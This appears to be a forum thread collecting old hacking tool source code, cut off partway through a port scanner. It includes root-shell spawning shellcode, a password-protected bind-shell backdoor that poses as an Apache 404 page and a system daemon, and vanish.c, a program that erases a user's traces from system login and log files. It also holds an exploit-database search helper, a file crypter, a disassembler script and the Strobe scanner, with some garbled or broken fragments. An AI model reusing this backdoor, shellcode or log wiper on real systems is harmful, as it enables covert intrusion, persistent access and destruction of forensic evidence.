    for line in io.lines ("/pentest/exploits/exploitdb/files.csv") do
        if string.match(line, n) and string.match(line, "remote") then
             local items = split(line, ",")
             local file = items[2]
             local desc = items[3]
                         = exploits..file.." ---> "..desc.."\n"
             exploits
        end
    end
    if not string.match(exploits, "\n") then
        exploits = nil
    exploits = " \n"..exploits
    return exploits
end
function split(str, pat)
    local t = \{\} -- NOTE: use \{n = 0\} in Lua-5.0 local fpat = "(.-)" .. pat
    local last_end = 1
    local s, e, cap = str:find(fpat, 1)
    while s do
        if s \sim= 1 or cap \sim= "" then
    table.insert(t,cap)
        end
        last_end = e+1
        s, e, cap = str:find(fpat, last_end)
    end
    if last_end <= #str then</pre>
        cap = str:sub(last_end)
        table.insert(t, cap)
    end
    return t
[ASMSHELL by izik.s]
Code:
.globl _start
_start:
 # our setreuid(0,0) call
  xor %eax, %eax # clear out eax
  movb $70, %al
                    # mov 70 int al
  xor %ecx, %ecx  # set ecx to 0, which is the uid_t euid (effective userid)
xor %ebx, %ebx  # set ebx to 0, which is the uid_t ruid (real userid)
  int $0x80
                    # call kernel
  # go get the address with the call trick
  jmp do_call
jmp_back:
  pop %ebx
                       # ebx has the address of our string, use it to index
  xor %eax, %eax
                     # set eax to 0
  movb %al, 7(%ebx) # put a null at the N aka shell[7]
  movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8]
  movl %eax, 12(%ebx) # put the null at shell[12]
  # our string now looks like "/bin/sh0(*ebx)(*0000)" which is what we want.
 xor %eax, %eax
movb $11, %al
                      # clear out eax
                      # put 11 which is execve syscall number into al
  leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx
  leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx
  int $0x80
                      # call kernel
do_call:
  call jmp_back
shell:
  .ascii "/bin/shNXXXXYYYY"
Code:
```

```
/* Old style backdoor but useful */
* Generic backdoor. (ab)use for your own fun and profit.. but behave..
* C.P. (fygrave@tigerteam.net)
* Nov 12 10:12:09 KGT 1998. Went public 1999.
#define _XOPEN_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <string.h>
#define DEFAULT_PORT 8080
/* des crypted password */
#define PWD "QXtGlGiFUEeKY"
void sig_hand(int sig) {
        int status;
                /* rip off children */
        while(waitpid(-1,&status,WNOHANG)>0);
}
/* we hide ourselves as httpd daemon */
char *erro=
"HTTP/1.1 404 Not Found\n"
"Date: Mon, 08 Dec 1998 23:17:15 GMT\n"
"Server: Apache/1.3.X (Unix)\n"
"Connection: close\n"
"Content-Type: text/html\n\n"
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"
"<HTML><HEAD>\n"
"<TITLE>404 Not Found</TITLE>\n"
"</HEAD><B0DY>\n"
"<H1>Not Found</H1>\n"
"The requested URL /loha was not found on this server.<P>\n"
"<ADDRESS>Apache/1.3.X Server at yourserver Port 80</ADDRESS>\n"
"</BODY></HTML>\n";
void my_error(int fd) {
        write(fd,erro,strlen(erro));
}
int main(int argc,char **argv)
{
        char *name[3];
char *env[2];
char *execname;
        int fd,fd2,fromlen;
        int port;
        struct sockaddr_in serv;
        char *crypted=PWD;
        unsigned char *ptr;
        char pass[9];
        port=DEFAULT_PORT;
        if (argc>1 && atoi(argv[1])) port=atoi(argv[1]);
#ifndef DEBUG
        if (fork()) exit(1);
        close(0);
        close(1);
        close(2);
        chdir("/");
        setsid();
#endif
        signal(SIGCHLD, sig_hand);
```

```
if((fd=socket(AF_INET,SOCK_STREAM,0))<0) {</pre>
#ifdef DEBUG
               perror("socket");
#endif
               exit(1);
        }
       serv.sin_addr.s_addr=0;
        serv.sin_port=htons(port);
       serv.sin_family=AF_INET;
       if(bind(fd,(struct sockaddr *)&serv,16)) {
#ifdef DEBUG
               perror("bind");
#endif
               exit(1);
       }
        if(listen(fd,5)) {
#ifdef DEBUG
               perror("listen");
               exit(1);
#endif
       }
       for(;;) {
                fromlen=16; /*(sizeof(struct sockaddr)*/
               fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
               if (fd2<0) continue;
               if (fork()) { /* parent */
                           close(fd2);
               } else {
                       close(fd);
                       bzero(pass,9);
                       read(fd2, pass, 8);
                       for(ptr=pass; *ptr!=0;ptr++)
                               if(*ptr<32) *ptr=0;
                       if (strcmp(crypt(pass,crypted),crypted)) {
                               my_error(fd2);
                               exit(1);
                       dup2(fd2,0);
                       dup2(fd2,1);
                       dup2(fd2,2);
                       execname="/bin/sh";
                       name[0]="/sbin/klogd";
                       /* gives somewhat nicer appearence */
                       name[1]="-i";
                       name[2]=NULL;
                       /* if the actual /bin/sh is bash
                       * we need this to get rid saving stuff into
                        * .bash_history file
                       */
                       env[0]="HISTFILE=/dev/null";
                       env[1]=NULL;
                       execve(name[0], name, env);
                       exit(1);
               }
       }
}
Code:
/* Leave no logs */
                         vanish.c - description
                                     : Wed Feb 2 2000
                 beain
                 copyright
                                      : (C) 2000 by Neo the Hacker
                 email
```

```
^{\star} Vanish.c cleans WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, ^{\star}
* warn, mail, httpd.access_log, httpd.error_log. Use your brain, check your*
* Warning!! This programm is for educational purpouse only! I am not
* responsible to anything you do with this !!!!!!!!!!!!!!!!!!!!
* Code written for Unix like systems! Tested on SuSE-Linux 6.2!
* Compile like: gcc vanish.c -o vanish
                                  #include <stdio h>
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>
#include <pwd.h>
#define UTMP
                     "/var/run/utmp"
                     "/var/log/wtmp"
#define WTMP
                    "/var/log/lastlog"
#define LASTLOG
#define MESSAGES
                     "/var/log/messages"
                     "/var/log/secure"
#define SECURE
                     "/var/log/xferlog"
#define XFERLOG
                     "/var/log/maillog"
#define MAILLOG
#define WARN
                     "/var/log/warn"
#define MAIL
                     "/var/log/mail"
                     "/var/log/httpd.access_log"
#define HTTPDA
                     "/var/log/httpd.error_log"
#define HTTPDE
#define MAXBUFF 8*1024
int main(int argc, char *argv[])
struct utmp ut ;
struct lastlog 11;
struct passwd *pass ;
int i, size, fin, fout ;
FILE *pfile;
FILE *pfile2;
char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, WARN, MAIL, HTTPDA, HTTPDE};
char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, WARN, MAIL, HTTPDA, HTTPDE};
char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm", "warn.hm",
"mail.hm", "httpda.hm", "httpde.hm"} ;
char buffer[MAXBUFF] ;
char user[10];
char host[100]
char host_ip[17] ;
/*Usage of the programm*/
if (argc!=4)
{
 exit();
/********
* OK Let's start with UTMP *
size = sizeof(ut) ;
strcpy (user, argv[1]) ;
fin = open (UTMP, O_RDWR);
if (fin < 0)
fprintf(stderr, "\nFucking shit!! Utmp permission denied.Getting outta here!!\n");
```

```
close (fin);
exit();
}
else
while (read (fin, &ut, size) == size) {
      if (!strncmp(ut.ut_user, user, strlen(user))) {
    memset(&ut, 0, size);
                  lseek(fin, -1*size, SEEK_CUR);
write (fin, &ut, size);
              }
        }
        close (fin);
        printf("\nutmp target processed.");
* OK Let's go on with WTMP *
strcpy (host, argv[2]);
 strcpy(host_ip, argv[3]);
fin = open(WTMP, O_RDONLY) ;
if (fin < 0) {
fprintf(stderr, "\nFucking shit!! Wtmp permission denied.Getting outta here.\n") ;
 close (fin); exit();
fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
if (fout < 0) {
fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;
close (fout) ;
exit ();
else {
while (read (fin, &ut, size) == size) {
if ( (!strcmp(ut.ut_user, user)) || (!strncmp(ut.ut_host, host, strlen(host))) ) {
/* let it go into oblivion */ ;
        else write (fout, &ut, size) ; }
close (fin);
close (fout)
if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&</pre>
    (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
                system("/bin/chmod 644 /var/log/wtmp");
printf("\nwtmp target processed.");
* OK Let's look at LASTLOG *
size = sizeof(ll) ;
fin = open(LASTLOG, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nFucking shit!! Lastlog permission denied.Getting outta here.\n");
                close (fin);
exit ();
else {
pass = getpwnam(user) ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
read(fin, &ll, size) ;
ll.ll\_time = 0
strncpy (11.11_line, "
strcpy (11.11_host, " ");
                            ", 5);
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
write(fin, &ll, size);
close (fin);
printf("\nlastlog target processed.\n") ;
/********
* OK moving to /var .... *
```

```
**********
i=0;
while (i<8) {
printf("Processing %s\t", varlogs[i]);
pfile = fopen (varlogs[i],"r");
if (!pfile)
{
  printf("Couldn't open %s\n\n", varlogs[i]);
  i++;
  continue;
pfile2 = fopen (newlogs[i],"w");
if (!pfile2)
printf("Couldn't create backup file!
You have to have write permission to the folder!! %s \n\n", newlogs[i]);
  continue;
}
else {
      while (fgets(buffer, MAXBUFF, pfile) != NULL) {
      if ((!strstr(buffer, user)) && (!strstr(buffer, host))&&(!strstr(buffer, host_ip))) {
fputs(buffer,pfile2); } }
fclose (pfile);
fclose (pfile2);
printf ("
                            DONE.\n");
i++;
printf ("\n\n");
system ("mv messages.hm /var/log/messages");
system ("mv secure.hm /var/log/secure");
system ("mv xferlog.hm /var/log/xferlog");
system ("mv maillog.hm /var/log/maillog");
system ("mv warn.hm /var/log/warn");
system ("mv mail.hm /var/log/mail");
system ("mv httpda.hm /var/log/httpd.access_log");
system ("mv httpde.hm /var/log/httpd.error_log");
printf ("\n\n");
printf ("V_A_N_I_S_H_E_D_!\n");
printf ("Your tracks have been removed\n");
printf ("Exiting programm !!\n\n");
exit();
Code:
  0x333crypt <= MD5 & xor
  process:
  xor1 -> | mainkey in MD5 | 32 chars plain text readed by file
   xor2 -> | subkey1 in MD5 | 32 chars plain text readed by file
   xor3 -> | subkey2 in MD5 | 32 chars plain text readed by file
   etc etc..
   based on subkey generation in base a mainkey specified by user.
   key isn't written in file.
  coded by nsn
   developed and tested on linux slackware
   gcc -lssl source.c -o out
* ~ www.0x333.org ~
#include <stdio.h>
```

```
#include <openssl/md5.h>
#include <string.h>
#include <unistd.h>
/* constants, variables and prototipes */
#define VERSION "0.5"
#define PASSLEN 128
typedef enum {FALSE, TRUE} BOOLEAN;
static char *MDString(char *string);
char xor(char, char); /* make xor between two chars and return result */
void help(char *); /* prints help for user. */
void gen(char *, char *, char *, BOOLEAN);
                          = NULL; /* can be changed with option -k */
= NULL; /* can be changed with option -i */
char
             *mainkev
char
             *infile
                            = NULL; /* can be changed with option -o */
             *outfile
char
BOOLEAN operation
                          = TRUE:
/* functions source codes */
char xor(char a, char b) { return a^b; }
static char
*MDString (char *string)
{
     static char ret[33]={"\0"}, hex[2];
     unsigned char digest[16];
     unsigned int len = strlen(string), i;
     MD5_CTX context;
          MD5_Init(&context);
          MD5_Update(&context, string, len);
          MD5_Final(digest, &context);
          for (i = 0; i < 16; ++i) {
             sprintf(hex,"%02x", digest[i]);
             strcat(ret, hex);
return ret;
}
void
usage (char *prg)
  fprintf (stderr, "\n [~] 0x333crypt %s <= files with a key [~]\n", VERSION); fprintf (stderr, " [~] coded by nsn of 0utSid3rs [~]\n\n"); fprintf (stderr, " Usage: %s [ -k password ] [-e/d ] [ -i infile ] [-o outfile] [ -h ]\n\n",
  fprintf (stderr, " \t-k = key for encrypt/decrypt [ lentgh <= %d ]\n", PASSLEN);
  fprintf (stderr, '\t-e'd = key for entrypt/decrypt [ lenting
fprintf (stderr, " \t-e'd = operation encrypt/decrypt\n");
fprintf (stderr, " \t-i = infile\n");
fprintf (stderr, " \t-o = outfile\n");
fprintf (stderr, " \t-h = show this help\n\n");
  exit(-333);
}
gen(char *infile, char *outfile, char *mainkey, BOOLEAN operation)
     FILE *instream = NULL, *outstream = NULL;
     unsigned long int subkeyscounter = 1;
     static char *hashMD5, tempkey[1024]={"\0"}, data[33]={"\0"}, byte;
     unsigned short int i = 0;
     size_t len;
           if (!(instream = fopen(infile,"rb")) || (!(outstream = fopen(outfile,"wb"))))
             printf("\n
```

```
[*]error in opening %s or %s aborting!\n",infile,outfile);
        else {
          memset(data, 0, sizeof(data));
          memset(tempkey,0,sizeof(tempkey));
hashMD5 = (char *)alloca(sizeof(data));
          memset(hashMD5, 0, sizeof(hashMD5));
          printf("\n
[*]reading data... wait pls\n\n");
          /* reading all chars of file */
          while ((len = fread(&data[i++], 1, 32,instream)))
               strcpy(tempkey, mainkey);
               sprintf(tempkey, "%s%d", mainkey, subkeyscounter);
               hashMD5 = MDString(tempkey);
               ++subkeyscounter;
               /* xor subkey and plain text i,j */
                 for (i = 0; i < len; ++i)
               byte = data[i];
               if ((data[i] != hashMD5[i]) && (data[i] != 0))
               byte = ((operation) ? xor(hashMD5[i],data[i]) : xor(data[i],hashMD5[i]));
               fwrite(&byte, 1, 1, outstream);
                }
               i = 0:
               memset(data, 0, sizeof(data));
              memset(tempkey, 0, sizeof(tempkey));
               memset(hashMD5,0,sizeof(hashMD5));
            }
        printf("\n
[*]work completed.\n
[*]file generated with %d subkeys.\n", subkeyscounter);
        fclose(instream);
        fclose(outstream);
}
int
main (int argc, char **argv)
int c;
      while (( c = getopt (argc, argv, "edh:k:i:o:")) != EOF)
          switch(c)
            case 'e' : operation = TRUE;break;
            case 'd' : operation = FALSE;break;
            case 'k' : mainkey = optarg;break;
            case 'i' : infile = optarg;break;
            case 'o' : outfile = optarg;break;
            case 'h' : usage(argv[0]);break;
            default :
    usage( argv[0] );
      if ( argc != 8 ) { usage ( argv[0] ); }
      if (strlen(mainkey) <= PASSLEN)</pre>
        gen(infile, outfile, mainkey, operation);
      else
        printf("Password have to be with length <= %d\n", PASSLEN);</pre>
```

#ifndef STROBE_SERVICES

```
return 0;
}
Code:
#! /usr/bin/env python
import sys
from libdisasm import disasm, disasmbuf
dbuf = disasmbuf.DisasmBuffer(sys.stdin.read( ))
d=disasm.LinearDisassembler( )
d.disassemble(dbuf)
for rva, opcode in dbuf.instructions( ):
operands = map(lambda x:"%s %-13s" % (x.access(),"[%s]" % str(x)),
opcode.operands())
print "%08x: %-20s %s" % (rva, str(opcode), "".join(operands))
RE: Exploit source-codes - Insider - 07-08-2020
[strobe.c]
Code:
* Strobe (c) 1995 Julian Assange (proff@suburbia.net),
* All rights reserved.
* Port Scanner
* $ cc strobe.c -o strobe
#define VERSION "1.03"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <ctype.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#ifdef _AIX
# include <sys/select.h>
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#if defined(solaris) || defined(linux) || defined(__FreeBSD__) || defined(__NetBSD__) ||
defined(__GCC__)
# define fvoid void
#else
# define fvoid
extern int optind;
extern char *optarg;
#endif
#define bool char
#ifndef INADDR_NONE
# define INADDR_NONE ((unsigned long)-1)
#define port_t (unsigned short)
* the below should be set via the Makefile, but if not...
#ifndef ETC_SERVICES
# define ETC_SERVICES "/etc/services"
#endif
```

```
# define STROBE_SERVICES "strobe.services"
#ifndef LIB_STROBE_SERVICES
# define LIB_STROBE_SERVICES "/usr/local/lib/strobe.services"
int a_timeout = 20;
char *a_output = NULL;
char *a_services = "strobe.services";
char *a_input = NULL;
/* char *a_prescan = NULL; */
int a_start = 1;
int a_{end} = 65535;
int a_{sock_max} = 64;
int a_abort = 0;
int a_bindport = 0;
char *a_bindaddr= NULL;
struct in_addr bindaddr;
bool f_linear = 0;
bool f_verbose = 0;
bool f_verbose_stats = 0;
bool f_fast = 0;
bool f_stats = 0;
bool f_quiet = 0;
bool f_delete_dupes = 0;
bool f minimise = 0;
bool f_dontgetpeername = 0;
int connects = 0;
int hosts_done = 0;
int attempts_done = 0;
int attempts_outstanding = 0;
struct timeval time_start;
fd_set set_sel;
fd_set set_sel_r;
fd_set set_sel_w;
int host_n;
int Argc;
char **Argv;
FILE *fh_input;
#define HO_ACTIVE 1
#define HO_ABORT 2
#define HO_COMPLETING 4
struct hosts_s
    char *name;
    struct in_addr in_addr;
   int port;
   int portlist_ent;
    struct timeval time_used;
    struct timeval time_start;
   int attempts;
    int attempts_done;
    int attempts_highest_done;
    int connects;
    time_t notice_abort;
    int status;
struct hosts_s ho_initial;
struct hosts_s *hosts;
#define HT_SOCKET 1
#define HT_CONNECTING 2
struct htuple_s
    char *name;
    struct in_addr in_addr;
```

```
int port;
    int sfd;
   int status;
    struct timeval sock_start;
    int timeout;
    struct hosts_s *host;
};
struct htuple_s ht_initial;
struct htuple_s *attempt;
struct port_desc_s
    int port;
   char *name;
   char *portname;
    struct port_desc_s *next;
    struct port_desc_s *next_port;
};
struct port_desc_s **port_descs;
int *portlist = NULL;
int portlist_n = 0;
char *
Srealloc (ptr, len)
 char *ptr;
 int len;
{
   char *p;
    int retries = 10;
   while (!(p = ptr? realloc (ptr, len): malloc(len)))
        if (!--retries)
perror("malloc");
exit(1);
if (!f_quiet)
 fprintf(stderr, "Smalloc: couldn't allocate %d bytes...sleeping\n", len);
sleep (2);
   }
    return p;
}
char *
Smalloc (len)
 int len;
  return Srealloc (NULL, len);
}
fvoid
sock_block (sfd)
 int sfd;
    int flags;
    flags = (~0_NONBLOCK) & fcntl (sfd, F_GETFL);
    fcntl (sfd, F_SETFL, flags);
}
fvoid
sock_unblock (sfd)
 int sfd;
{
    flags = 0_NONBLOCK | fcntl (sfd, F_GETFL);
    fcntl (sfd, F_SETFL, flags);
}
timeval_subtract (result, x, y) /* from gnu c-lib info.texi */
```

```
struct timeval *result, *x, *y;
^{\prime} Perform the carry for the later subtraction by updating y. */
if (x->tv_usec < y->tv_usec) {
int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
y->tv_usec -= 1000000 * nsec;
y->tv sec += nsec;
if (x->tv_usec - y->tv_usec > 1000000) {
int nsec = (y->tv_usec - x->tv_usec) / 1000000;
y->tv_usec += 1000000 * nsec;
y->tv_sec -= nsec;
/^{\star} Compute the time remaining to wait.
 `tv_usec' is certainly positive. */
result->tv_sec = x->tv_sec - y->tv_sec;
result->tv_usec = x->tv_usec - y->tv_usec;
/* Return 1 if result is negative. */
return x->tv_sec < y->tv_sec;
fvoid
attempt_clear (h)
 struct htuple_s *h;
    if (h->status & HT_SOCKET)
struct timeval tv1, tv2;
gettimeofday(&tv1, NULL);
timeval_subtract(&tv2, &tv1, &(h->sock_start));
h->host->time_used.tv_sec+=tv2.tv_sec;
if ((h->host->time_used.tv_usec+=tv2.tv_usec) >= 1000000)
{
    h->host->time_used.tv_usec -= 1000000;
    h->host->time_used.tv_sec++;
}
        attempts_done++;
h->host->attempts_done++;
if (h->port > h->host->attempts_highest_done)
    h->host->attempts_highest_done=h->port;
sock_unblock (h->sfd);
/* shutdown (h->sfd, 2); */
close (h->sfd);
        if (FD_ISSET(h->sfd, &set_sel))
{
    FD_CLR (h->sfd, &set_sel);
    attempts_outstanding--;
}
    *h = ht_initial;
}
fvoid
clear_all ()
    for (n = 0; n < a_{sock_max}; n++)
attempt_clear (&attempt[n]);
fvoid
attempt_init ()
    int n;
    for (n = 0; n < a_{sock_max}; n++)
attempt[n] = ht_initial;
}
fvoid
hosts_init ()
```

```
int n;
   for (n = 0; n < a_{sock_max}; n++)
hosts[n] = ho_initial;
fvoid
fdsets_init ()
    FD_ZERO(&set_sel_r); /* yes, we have to do this, despite the later */
    FD_ZERO(&set_sel_w); /* assisgnments */
    FD_ZERO(&set_sel);
}
int
sc_connect (h)
 struct htuple_s *h;
    struct sockaddr_in sa_in;
    int sopts1 = 1;
    struct linger slinger;
    if ((h->sfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)
return 0;
    memset(&sa_in, 0, sizeof(sa_in));
    h->status |= HT_SOCKET;
    gettimeofday(&(h->sock_start), NULL);
    sock unblock (h->sfd);
    setsockopt (h->sfd, SOL_SOCKET, SO_REUSEADDR, (char *) &sopts1, sizeof (sopts1));
    setsockopt (h->sfd, SOL_SOCKET, SO_OOBINLINE, (char *) &sopts1, sizeof (sopts1));
    slinger.l_onoff = 0; /* off */
    setsockopt (h->sfd, SOL_SOCKET, SO_LINGER, (char *) &slinger, sizeof (slinger));
    sa_in.sin_family = AF_INET;
    if (a_bindport)
        sa_in.sin_port = a_bindport;
    if (a_bindaddr)
        sa_in.sin_addr = bindaddr;
    if (a_bindaddr || a_bindport)
        if (bind (h->sfd, (struct sockaddr *)&sa_in, sizeof(sa_in)) == -1)
fprintf(stderr, "couldn't bind %s : %d ", a_bindaddr? a_bindaddr: "0.0.0.0", ntohs(a_bindport));
perror("");
if (errno == EACCES)
exit(1);
return 0:
    sa_in.sin_addr = h->in_addr;
    sa_in.sin_port = htons (h->port);
   if (connect (h->sfd, (struct sockaddr *) &sa_in, sizeof (sa_in)) == -1)
    {
switch (errno)
case EINPROGRESS:
case EWOULDBLOCK:
   break;
case ETIMEDOUT:
case ECONNREFUSED:
case EADDRNOTAVAIL:
   if (f_verbose)
fprintf(stderr, "%s:%d ", h->name, h->port);
perror("");
    h->host->attempts++;
   attempt_clear (h);
    return 1;
default:
   if (!f_quiet)
   fprintf(stderr, "%s:%d ", h->name, h->port);
    perror ("");
    attempt_clear (h);
    return 0;
```

```
}
   h->host->attempts++;
   h->status |= HT_CONNECTING;
   sock_block (h->sfd);
   FD_SET(h->sfd, &set_sel);
    attempts outstanding++;
    return 1;
}
int
gatherer_tcp (h)
 struct htuple_s *h;
    struct port_desc_s *pd;
    if (f_minimise)
printf ("%s\t%d\n", h->name, h->port);
   else
    if ((pd = port_descs[h->port]))
        printf ("%-30s %-16s %5d/tcp %s\n", h->name, pd->portname, h->port, pd->name);
    while (!f_delete_dupes && !f_minimise && (pd=pd->next))
       printf ("#%-29s %-16s %5d/tcp %s\n", h->name, pd->portname, h->port, pd->name);
    else
    printf ("%-30s %-16s %5d/tcp unassigned\n", h->name, "unknown", h->port);
    h->host->connects++;
    connects++;
    attempt_clear (h);
    return 1;
}
bool
gather ()
    struct timeval timeout;
    struct htuple_s *h;
    int n;
    int selected;
    time_t tim;
    if (!attempts_outstanding) return 1;
    set_sel_r=set_sel_w=set_sel;
    timeout.tv_sec = 0;
    timeout.tv_usec = 250000; /* 1/4 of a second */
    selected = select (FD_SETSIZE, &set_sel_r, &set_sel_w, 0, &timeout);
    /* Look for timeouts */
    tim = time (NULL);
    for (n = 0; n < a_sock_max; n++)
      h = &attempt[n];
      if ((h->status & HT_SOCKET) &&
  ((h->sock_start.tv_sec + h->timeout) < tim))
attempt_clear (h);
   }
    switch (selected)
    case -1:
perror ("select");
return 0;
   case 0:
return 1;
   for (n = 0; selected && (n < a_sock_max); n++)
h = &attempt[n];
if (h->status & HT_CONNECTING)
```

```
if (FD_ISSET (h->sfd, &set_sel_r) || FD_ISSET (h->sfd, &set_sel_w))
    {
struct sockaddr_in in;
int len = sizeof (in);
selected--;
/* select() lies occasionaly
if (!f_dontgetpeername) /* but solaris2.3 crashes occasionally ;-| */
if (getpeername (h->sfd, (struct sockaddr *) &in, &len) == 0)
        gatherer_tcp (h);
else
        attempt_clear (h);
}
else
    gatherer_tcp (h);
}
    return 1;
}
bool
add_attempt (add)
 struct htuple_s *add;
    struct htuple_s *h;
    static time_t oldtime;
    static int n;
    for (;;)
for (; n < a_sock_max; n++)
    h = &attempt[n];
    if (!h->status)
goto foundfree;
\hat{n} = 0;
gather ();
continue;
      foundfree:
*h = *add;
if (!sc_connect (h))
{
    gather ();
    continue;
if ((oldtime + 1) < time (NULL))
{
    oldtime = time (NULL);
    gather ();
break;
    }
    return 1;
}
int
scatter (host, timeout)
  struct hosts_s *host;
  int timeout;
{
    static struct htuple_s add;
    add = ht_initial;
    add.host = host;
    add.name = host->name;
    add.in_addr = host->in_addr;
    add.port = host->port;
    add.timeout = timeout;
    if (f_verbose)
fprintf (stderr, "attempting port=%d host=%s\n", add.port, add.name);
    add_attempt (&add);
    return 1;
```

```
}
fvoid
wait_end (t)
 int t;
    time_t st;
st = time (NULL);
    while ((st + t) > time (NULL))
gather ();
if (attempts_outstanding<1) break;</pre>
}
struct in_addr
resolve (name)
char *name;
    static struct in_addr in;
    unsigned long 1;
    struct hostent *ent;
    if ((l = inet_addr (name)) != INADDR_NONE)
in.s_addr = 1;
return in;
    if (!(ent = gethostbyname (name)))
perror (name);
in.s_addr = INADDR_NONE;
return in;
    return *(struct in_addr *) ent->h_addr;
}
char *
next_host ()
    static char lbuf[512];
    hosts_done++;
    if (a_input)
int n;
reread:
if (!fgets (lbuf, sizeof (lbuf), fh_input))
    fclose (fh_input);
             a_input = NULL;
    return next_host();
if (strchr("# \t\n\r", lbuf[0])) goto reread;
n = strcspn (lbuf, " \t\n\r");
if (n)
    .
lbuf[n] = '\0';
return lbuf;
    if ( host_n >= Argc )
      return NULL;
    return Argv[host_n++];
}
host_init (h, name, nocheck)
  struct hosts_s *h;
  char *name;
  bool nocheck;
{
    int n;
    *h=ho_initial;
    h->in_addr = resolve (name);
    if (h->in_addr.s_addr == INADDR_NONE)
```

```
return 0;
    if (!nocheck)
        for (n=0; n<a_sock_max; n++)
    if (hosts[n].name && hosts[n].in_addr.s_addr==h->in_addr.s_addr)
if (!f_quiet)
    fprintf(stderr, "ip duplication: %s == %s (last host ignored)\n",
        hosts[n].name, name);
return 0:
   }
        }
   h->name = (char *) Smalloc (strlen (name) + 1);
    strcpy (h->name, name);
    h->port = a_start;
    h->status = HO_ACTIVE;
    gettimeofday(&(h->time_start), NULL);
    return 1;
}
fvoid
host_clear (h)
 struct hosts_s *h;
    if (h->name)
    free (h->name);
    *h=ho_initial;
}
fvoid
host_stats (h)
 struct hosts_s *h;
    struct timeval tv, tv2;
    float t, st;
    gettimeofday(&tv, NULL);
    timeval_subtract(&tv2, &tv, &(h->time_start));
    t = tv2.tv_sec+(float)tv2.tv_usec/1000000.0;
    st = h->time_used.tv_sec+(float)h->time_used.tv_usec/1000000.0;
    fprintf(stderr, "stats: host = %s trys = %d cons = %d time = %.2fs trys/s = %.2f trys/ss =
%.2f\n".
h->name, h->attempts_done, h->connects, t, h->attempts_done/t, h->attempts_done/st);
}
fvoid
final_stats()
{
    struct timeval tv, tv2;
    float t;
    gettimeofday(&tv, NULL);
    timeval_subtract(&tv2, &tv, &(time_start));
    t = tv2.tv_sec+(float)tv2.tv_usec/1000000.0;
    fprintf(stderr, "stats: hosts = %d trys = %d cons = %d time = %.2fs trys/s = %.2f\n",
hosts_done, attempts_done, connects, t, attempts_done/t);
}
bool skip_host(h)
 struct hosts_s *h;
    if (a_abort && !h->connects && (h->attempts_highest_done >= a_abort)) /* async pain */
if (h->status & HO_ABORT)
{
    if ((time(NULL)-h->notice_abort)>a_timeout)
if (f_verbose)
    fprintf(stderr, "skipping: %s (no connects in %d attempts)\n",
h->name, h->attempts_done);
return 1:
} else
```

```
{
h->notice_abort=time(NULL);
h->status|=H0_ABORT;
}
    return 0;
}
next_port (h)
struct hosts_s *h;
    int n;
    for (n = h \rightarrow port; ++n \leq a\_end;)
    if (!f_fast) return n;
if (++h->portlist_ent>portlist_n) return -1;
       return (portlist[h->portlist_ent-1]);
    return -1;
}
fvoid
scan_ports_linear ()
    struct hosts_s host;
    char *name;
   while ((name = next_host ()))
if (!host_init(&host, name, 1)) continue;
for (;;)
{
    scatter (&host, a_timeout);
    if (skip_host(&host)) break;
    if ((host.port = next_port(&host))==-1)
break;
wait_end (a_timeout);
if (f_verbose_stats)
   host_stats (&host);
clear_all ();
host_clear(&host);
   }
}
/* Huristics:
  o fast connections have priority == maximise bandwidth i.e
    a port in the hand is worth two in the bush
  o newer hosts have priority == lower ports checked more quickly
  o all hosts eventually get equal "socket time" == despite
    priorities let no one host hog the sockets permanently
  o when host usage times are equal (typically on or shortly after
     initial startup) distribute hosts<->sockets evenly rather than
     play a game of chaotic bifurcatic ping-pong
* /
fvoid
scan_ports_paralell ()
    struct timeval smallest_val;
    int smallest_cnt;
    char *name;
    struct hosts_s *h, *smallest = &hosts[0];
   while (smallest)
smallest_val.tv_sec=0xfffffff;
smallest val.tv usec=0;
for (n = 0, smallest_cnt = 0xfffffff, smallest = NULL; n < a_sock_max; n++)
```

```
h = \&hosts[n];
    if (((h->status & HO_COMPLETING) &&
                 (h->attempts_done == h->attempts)) ||
                skip_host(h))
if (f verbose stats) host stats (h);
host_clear (h);
    if (!h->name && ((name = next_host ())))
if (!host_init (h, name, 0))
    host_clear (h);
    continue;
}
    if (h->name)
if (((h->time_used.tv_sec < smallest_val.tv_sec) ||</pre>
    ((h->time_used.tv_sec == smallest_val.tv_sec) &&
      (h->time_used.tv_usec <= smallest_val.tv_usec))) &&</pre>
    (((h->time_used.tv_sec != smallest_val.tv_sec) &&
      (h->time_used.tv_usec != smallest_val.tv_usec)) ||
    (h->attempts < smallest_cnt)))</pre>
      smallest_cnt = h->attempts;
    smallest_val = h->time_used;
    smallest = h;
}
    }
}
if (smallest)
{
    if (!(smallest->status & HO_COMPLETING))
scatter (smallest, a_timeout);
if ((smallest->port=next_port(smallest))==-1)
            smallest->status|=HO_COMPLETING;
    else
gather();
    }
fvoid
loaddescs ()
    FILE *fh;
    char lbuf[1024];
    char desc[256];
    char portname[17];
    unsigned int port;
    char *fn;
char prot[4];
    prot[3]='\0';
    if (!(fh = fopen ((fn=a_services), "r")) &&
